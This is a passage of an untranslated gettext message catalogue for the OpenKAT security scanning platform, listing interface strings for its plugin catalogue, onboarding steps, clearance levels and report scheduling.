\"\"\n\n#: katalogus/templates/clone_settings.html\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone settings\"\nmsgstr \"\"\n\n#: katalogus/templates/clone_settings.html\n#, python-format\nmsgid \"\"\n\"Use the form below to clone the settings from \"\n\"<strong>%(current_organization)s</strong> to the selected organization. This \"\n\"includes both the KAT-alogus settings as well as enabled and disabled \"\n\"plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/confirmation_clone_settings.html\nmsgid \"Clone\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus.html\nmsgid \"All plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"KAT-alogus settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"\"\n\"There are currently no settings defined. Add settings at the plugin detail \"\n\"page.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Go back\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"This is an overview of the latest settings of all plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\nmsgid \"Latest plugin settings\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"Plugin\"\nmsgstr \"\"\n\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_settings_list.html\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Value\"\nmsgstr \"\"\n\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to process the following mime types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"This object type is required\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\nmsgid \"Publisher:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/boefje_tile.html\n#: katalogus/templates/partials/plugin_tile.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"See details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\nmsgid \"Enable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Hide filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Show filters\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/ooi_list_filters.html\n#: rocky/templates/partials/organization_member_list_filters.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"applied\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Filter plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_filter.html\nmsgid \"Clear filter\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/views/change_clearance_level.py katalogus/views/katalogus.py\n#: katalogus/views/katalogus_settings.py katalogus/views/plugin_detail.py\n#: katalogus/views/plugin_settings_add.py\n#: katalogus/views/plugin_settings_delete.py\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"KAT-alogus\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\nmsgid \"An overview of all available plugins.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_header.html\n#: katalogus/templates/plugin_settings_list.html\n#: katalogus/views/katalogus_settings.py tools/view_helpers.py\n#: rocky/templates/header.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid 